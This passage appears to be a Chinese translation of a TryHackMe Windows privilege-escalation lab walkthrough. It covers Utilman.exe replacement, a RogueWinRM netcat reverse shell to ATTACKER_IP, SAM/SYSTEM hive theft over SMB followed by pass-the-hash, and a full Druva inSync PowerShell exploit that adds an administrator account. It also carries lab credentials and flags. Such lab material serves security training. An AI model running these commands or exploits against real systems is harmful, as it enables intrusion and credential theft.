[*] Creating service RoLE on 10.10.175.90.....
[*] Starting service RoLE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
SeTakeOwnership
SeTakeOwnership 权限允许用户获得系统上任何对象的所有权,包括文件和注册表项,从而为攻击者提升权限提供了许多可能性,例如,我们可以搜索以 SYSTEM 身份运行的服务并获得 关于服务的可执行文件的所有权。 但是,在接下来的例子中,我们将采用不同的提权路线。
你可以使用以下凭据通过 RDP 登录到目标计算机:
User:THMTakeOwnership
Password:TheWorldIsMine2022
要获得 SeTakeOwnership 权限,我们需要使用“以管理员身份打开”选项打开命令提示符(cmd)。我们将被要求再次输入密码以运行高级别的控制台程序:
在命令提示符(cmd)下,我们可以使用以下命令检查我们的权限,具体的命令和结果如下:
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ======================================== ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
这次我们将滥用 utilman.exe 来提升权限。 Utilman 是一个内置的 Windows 应用程序,用于在计算机锁定屏幕期间 提供“轻松访问”选项:
由于 Utilman 是以 SYSTEM 权限运行的,如果我们将原始的二进制文件替换为我们构建的payload文件,我们将有效地获得目标机的 SYSTEM 权限。 由于我们可以拥有任何文件的所有权,因此替换原始二进制文件是微不足道的。
要替换 utilman,我们将首先在目标机上使用以下命令获取它的所有权,具体命令和执行结果如下:
C:\> takeown /f C:\Windows\System32\Utilman.exe
SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".
请注意,成为文件的所有者并不一定意味着你拥有该文件运行时所对应的特权,但作为文件所有者,你可以为自己分配一些所需的权限。 要授予当前用户对 utilman.exe 的完全权限,你可以使用以下命令,具体命令和执行结果如下:
#在目标机上
C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files
在此之后,我们可以将 utilman.exe 替换为 cmd.exe 的副本,具体命令和执行结果如下:
C:\Windows\System32\> copy cmd.exe utilman.exe
1 file(s) copied.
要触发 utilman程序,我们将从开始按钮选择“锁定屏幕”选项:
最后,在已锁定的屏幕界面 单击“轻松访问”按钮,该按钮会以系统权限运行 utilman.exe,由于我们将其替换为 cmd.exe 副本,因此我们将获得具有 SYSTEM 权限的命令提示符(cmd):
SeImpersonate / SeAssignPrimaryToken
SeImpersonate / SeAssignPrimaryToken 权限将允许进程模拟其他用户并代表他们行事;该模拟的功能 通常包括能够在另一个用户的安全上下文环境中生成进程或线程。
我们在此以FTP 服务器的工作原理为例来理解该模拟过程;FTP 服务器必须限制用户只能访问他们应该被允许查看的文件。
假设我们有一个使用用户 ftp
身份运行的 FTP 服务:在没有模拟的情况下,如果用户 Ann 登录 FTP 服务器并尝试访问她的文件,则 FTP 服务将尝试使用其当前用户的访问令牌而不是 Ann 的访问令牌来访问Ann的文件:
使用 ftp 的令牌来提供FTP服务并不是最好的主意,如果简单地使用ftp 的访问令牌为不同用户提供FTP服务,则会面临以下几个问题:
-
为了正确提供FTP中的文件,
ftp
用户需要能够访问FTP中的所有文件。 在上面的示例中,FTP 服务将能够访问 Ann 的文件,但不能访问 Bill 的文件,因为 Bill 文件中的 DACL 不允许用户ftp
进行访问;这增加FTP服务实现的复杂性,因为我们必须 为FTP服务中的每一个文件/目录手动配置特定权限,才能完整地使用FTP服务。 -
对于操作系统而言,如果所有文件都能通过用户
ftp
的令牌进行访问,而与当前登录 FTP 服务的用户无关,这将使得操作系统无法对FTP服务进行授权操作。 -
如果 FTP 服务在某个时候受到威胁,攻击者将立即获得对
ftp
用户有权访问的所有文件夹的访问权限。
如果能够进行模拟操作,也就是说 如果 FTP 服务的用户具有 SeImpersonate 或 SeAssignPrimaryToken 权限,那么所有的这一切都会被简化,因为 FTP 服务可以通过模拟 临时获取登录用户的访问令牌并代表登录用户执行任何任务:
现在,如果用户 Ann 登录到 FTP 服务并假设 ftp 用户具有模拟权限,ftp 用户可以借用 Ann 的访问令牌并使用它来访问Ann的文件。 这样,FTP服务中的文件不需要以任何方式提供对用户 ftp 的访问权限,并且操作系统也可以处理授权问题。 由于 FTP 服务正在模拟 Ann,因此在该会话期间它将无法访问 Jude 或 Bill 的文件。
作为攻击者,如果我们设法控制具有SeImpersonate
或SeAssignPrimaryToken
权限的进程,我们就可以模拟任何连接并被认证为该进程的用户。
在 Windows 系统中,你会发现 LOCAL SERVICE
和 NETWORK SERVICE ACCOUNTS
账户 已经拥有这样的权限。 由于这些帐户用于 使用受限帐户生成服务,因此如果服务需要,允许它们模拟连接用户是有意义的。
Internet 信息服务 (IIS) 也将为 Web 应用程序创建一个类似的名为“iis apppool\defaultapppool
”的默认帐户。
要使用此类帐户提升权限,攻击者需要准备以下内容: 1. 生成一个进程,以便用户可以连接并对其进行身份验证以开始模拟。 2. 找到一种方法来强制特权用户连接并验证生成的恶意进程。
我们将利用 RogueWinRM 漏洞来完成以上两个条件。
让我们首先假设我们已经入侵了一个在 IIS 上运行的网站,并且我们已经在以下地址植入了一个 web shell:
http://MACHINE_IP/
我们可以使用 web shell 检查受感染帐户的分配权限,并确认我们是否拥有SeImpersonate
或 SeAssignPrimaryToken
权限:
要使用 RogueWinRM 漏洞,我们首先需要将漏洞exp上传到目标机器。 为方便起见,你可以在 C:\tools\
文件夹中找到该漏洞利用(exp)程序。
RogueWinRM 漏洞利用是可能的,因为每当用户(包括非特权用户)在 Windows 中启动 BITS 服务时,它会使用 SYSTEM 权限自动创建一个到端口 5985 的连接。 端口 5985 通常用于 WinRM 服务,它是一个在Powershell 控制台上用于实现网络远程连接的端口;你可以把它想象成 SSH,但使用的是 Powershell 来进行连接。
如果由于某种原因,WinRM 服务没有在受害者服务器上运行,攻击者也可以在端口 5985 上启动一个伪造的 WinRM 服务,并在启动时捕获 BITS 服务所做的身份验证尝试。 如果攻击者具有 SeImpersonate 权限,就可以代表连接用户(即 SYSTEM)执行任何命令。
在运行漏洞利用程序(exp)之前,我们将启动一个 netcat 侦听器以在攻击者的机器上接收反向 shell:
#攻击机
user@attackerpc$ nc -lvp 4442
然后,利用我们的 web shell 使用以下命令触发 RogueWinRM 漏洞利用程序(exp):
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"
注意:该漏洞利用程序最多可能需要 2 分钟才能起作用,因此你的浏览器可能会暂时显示为无响应;如果你尝试多次运行漏洞利用程序,也会发生这种情况,因为我们必须等待 BITS 服务停止才能再次启动它,BITS 服务将在启动 2 分钟后自动停止。
对上图中使用的命令进行分析:-p
指定exp执行时将要运行的可执行文件,在本例中为nc64.exe
,-a
用于将参数传递给-p
指定的可执行文件。 由于我们希望 nc64
为我们的攻击机建立一个反向 shell,因此传递给 netcat
的参数将是 -e cmd.exe ATTACKER_IP 4442
(在使用时加上引号)。
如果一切设置正确,你应该能够在攻击机上获取到一个具有 SYSTEM 权限的 shell:
答题
使用本小节中涉及的三种方法中的任何一种,访问管理员桌面并查看flag文件内容。
在攻击机上使用remmina
来进行远程RDP连接:
关于remmina的安装:https://installati.one/kalilinux/remmina/
输入目标机的用户名称和用户密码(输入用户名时注意不要带空格):
以管理员身份打开cmd:
使用命令检查权限,并备份 SAM 和 SYSTEM 中的密码哈希值:
whoami /priv
reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive
在攻击机上使用 impacket
中的 smbserver.py
来启动一个简单的 SMB 服务器,并在攻击机的当前目录下启动一个网络共享:
#在攻击机上
mkdir share
python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
在目标机中使用复制命令(copy
)将两个所需文件传输到攻击机上:
copy C:\Users\THMBackup\sam.hive \\10.10.63.243\public\
copy C:\Users\THMBackup\system.hive \\10.10.63.243\public\
#上面两个命令中的ip为攻击机ip
在攻击机上使用impacket
工具 检索用户的密码哈希:
#在攻击机上
cd share
ls
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Administrator的哈希值:aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5
在攻击机上,我们可以利用管理员的密码哈希值来执行 Pass-the-Hash 攻击并获得目标机器的 SYSTEM 级别访问权限,命令如下:
python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 administrator@10.10.100.213
#此处ip为目标机ip地址
在攻击机上使用获得的权限查看目标机的管理员用户桌面上的flag文件内容:
dir C:\Users\Administrator\Desktop
type C:\Users\Administrator\Desktop\flag.txt
THM{SEFLAGPRIVILEGE} 。
滥用易受攻击的软件
单击“启动机器”按钮,部署目标机器。 如果你更喜欢通过 RDP 连接到计算机,可以使用以下凭据:
未打补丁的软件
安装在目标系统上的软件可以提供各种权限提升机会。 与驱动程序一样,组织和用户可能不会像更新操作系统那样频繁地更新已安装的软件。 你可以使用 wmic
工具列出目标系统上安装的软件及其版本。 下面的命令将转储wmic
在已安装软件上收集到的信息(可能需要大约一分钟才能完成):
wmic product get name,version,vendor
请记住wmic product
命令可能不会返回所有已安装的软件信息(由于某些软件的安装方式特殊,它们可能不会在此处被列出)。 检查桌面快捷方式、系统可用服务或任何表明存在可能易受攻击的其他软件的痕迹总是值得的。
一旦我们收集了产品版本信息,我们就可以在exploit-db、packetstorm或Google等网站上在线搜索已安装软件的现有漏洞利用。简而言之:你可以使用 wmic
和 Google
搜索引擎,尝试找到任何已安装产品的已知漏洞。
案例研究:Druva inSync 6.6.3
目标服务器正在运行 Druva inSync 6.6.3版本的软件,正如 Matteo Malvica 所报告的那样,这个版本的相关软件很容易受到权限提升漏洞的影响。 该提权漏洞是由 Chris Lyne 最初报告的 6.5.0 版本软件的另一个漏洞应用的错误补丁造成的。
该软件易受攻击,因为它在端口 6064 上运行具有 SYSTEM 权限的 RPC(远程过程调用)服务器(RPC通常只能从 localhost 访问)。 如果你不熟悉 RPC,你可以简单地理解为 RPC只是一种机制,RPC允许给定进程通过网络公开功能(在 RPC 术语中称为Procedure--"过程,程序"),以便其他机器可以远程调用它们。
在 Druva inSync软件运行的情况下,端口 6064 上公开的Procedure之一(特别是编号为5的Procedure)能够允许任何人请求执行任何命令。 由于相关的RPC 服务器是以 SYSTEM 身份运行的,因此攻击者所请求的任何命令都能以 SYSTEM 权限执行。
在Druva inSync 6.5.0 及之前的软件版本上报告的原始漏洞将允许不受限制地运行任何命令;该软件提供此类功能的最初想法是为了方便远程执行 inSync 所提供的某些特定二进制文件而不是为了执行任意命令。
该软件制作方随后发布了一个补丁,他们决定检查执行的命令是否以字符串 C:\ProgramData\Druva\inSync4\
开头,因为允许执行的二进制文件应该位于这个位置;但是,这是不够的,因为攻击者可以简单地进行路径遍历攻击来绕过该补丁的这种控制手段。 假设你要执行C:\Windows\System32\cmd.exe
,它并不在补丁所允许的路径范围内; 你可以简单地要求目标服务器运行 C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe
,这样就可以成功绕过 补丁所做的检查。
为了组合完成一个有效的漏洞利用操作,我们需要了解如何与端口 6064 进行通信。幸运的是,此处使用的协议很简单,需要发送的数据包如下图所示:
第一个数据包只是一个包含固定字符串的 hello 数据包;第二个数据包表明我们要执行 5 号程序,因为这是一个易受攻击的程序,它将为我们执行任何命令;最后两个数据包分别用于指定 发送命令的长度和要执行的命令字符串内容。
Druva inSync 6.6.3版本相关的漏洞exp最初由 Matteo Malvica 发布,你可以在目标机中使用相关漏洞利用程序(exp)来提升权限,原始漏洞的利用代码如下:
$ErrorActionPreference = "Stop"
$cmd = "net user pwnd /add"
$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)
$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);
$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
你可以打开一个 Powershell 控制台并直接粘贴该漏洞exp代码以便执行(该漏洞exp也可以在目标机的 C:\tools\Druva_inSync_exploit.txt
中找到)。
请注意,上面的原始exp代码中的$cmd 变量所指定的exp的默认payload将会在系统中创建一个名为 pwnd 的用户,但不会为他分配管理员权限,因此我们需要更改payload以获得更高的权限,我们将把payload更改为如下的形式:
$cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"
这将创建密码为SimplePass123
的用户pwnd
并将其添加到管理员组。 如果漏洞exp利用成功,你就能够运行以下命令来验证用户pwnd
是否存在并且是否已经是管理员组的一部分:
PS C:\> net user pwnd
User name pwnd
Full Name
Account active Yes
[...]
Local Group Memberships *Administrators *Users
Global Group memberships *None
最后,你需要选择以管理员身份运行命令提示符(cmd):
当提示输入凭据时,请使用pwnd
帐户的凭据。 在新的命令提示符(cmd)下,你可以使用以下命令type C:\Users\Administrator\Desktop\flag.txt
从管理员桌面检索flag文件的内容。
答题
在攻击机上使用xfreerdp连接目标机:
xfreerdp /v:10.10.105.46 /u:thm-unpriv /p:Password321
在目标机的C:\tools\Druva_inSync_exploit.txt
路径下可以找到软件相关的漏洞原始exp代码:
也可以通过在线网站获取exp原始代码:https://dl.packetstormsecurity.net/2012-exploits/druvainsyncwc663-escalate.txt
修改该exp代码内容:
$cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"
打开powershell,执行上述的exp代码(将上面截图中的内容复制到powershell界面即可):
在攻击机上使用xfreerdp连接目标机(断开第一次rdp连接,使用刚才新添加的管理员账户重新进行rdp登录)
xfreerdp /v:10.10.105.46 /u:pwnd /p:SimplePass123 #此处ip为目标机ip
在目标机上使用命令验证用户pwnd所在的组别是否为管理员组:
#在目标机上
net user pwnd
最后,你需要选择以管理员身份运行命令提示符(cmd):
当提示输入凭据时,请使用pwnd
帐户的凭据。 在新的命令提示符(cmd)下,你可以使用以下命令type C:\Users\Administrator\Desktop\flag.txt
从管理员桌面检索flag文件的内容。
THM{EZ_DLL_PROXY_4ME} 。
枚举提权向量的工具
有一些脚本可以对目标系统进行枚举以尝试发现提权向量,以下是一些常用来识别权限提升向量的工具。
WinPEAS
WinPEAS 是一个脚本,用于枚举目标系统以发现权限提升路径。 你可以在GitHub上找到有关 WinPEAS 的更多信息并下载预编译的相关可执行文件或 .bat 脚本。 WinPEAS 的输出结果可能很长,有时会难以阅读。 这就是为什么将输出结果重定向到一个文件中是一种很好的做法,如下所示:
C:\> winpeas.exe > outputfile.txt
WinPEAS 下载地址为:https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
PrivescCheck
PrivescCheck 是一个 PowerShell 脚本,用于搜索目标系统上的常见权限提升向量,它是 WinPEAS 的替代方案,在使用时无需执行二进制文件。
注意:要在目标系统上运行 PrivescCheck,你可能还需要绕过执行策略限制。 为此,你可以使用Set-ExecutionPolicy cmdlet
,如下所示。
PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force
PS C:\> . .\PrivescCheck.ps1
PS C:\> Invoke-PrivescCheck
PrivescCheck 下载地址为:https://github.com/itm4n/PrivescCheck
WES-NG: Windows Exploit Suggester - Next Generation
一些枚举提权向量的脚本(例如 WinPEAS)会要求你将它们上传到目标系统,然后在目标机上运行脚本;这可能会导致目标机上的防病毒软件检测到并删除脚本。
为避免引起目标机注意,你可以选择使用 WES-NG,它将在你的攻击机(例如 Kali 或 TryHackMe AttackBox)上运行。
WES-NG是一个python脚本,下载地址为:https://github.com/bitsadmin/wesng
在攻击机上安装脚本后,可以先输入 wes.py --update
命令来更新数据库。 该脚本在运行时,将引用它创建的数据库,以检查可能导致漏洞利用的缺失补丁,你可以使用该脚本输出结果中的相关漏洞来提升你在目标系统上的权限。
要使用该脚本,你需要先在目标系统上运行 systeminfo 命令,然后将输出结果保存到 .txt 文件,最后将该txt文件转移到攻击机器上备用。完成上述操作后,wes.py 可以按如下方式在攻击机上运行:
user@kali$ wes.py systeminfo.txt
Metasploit
如果你已经在目标系统上获取了一个Meterpreter shell,你可以在目标机上使用 multi/recon/local_exploit_suggester
模块列出可能影响目标系统的漏洞,所列出的漏洞能够帮助你提升在目标系统上的权限。
小结
Windows权限提升相关的资源链接: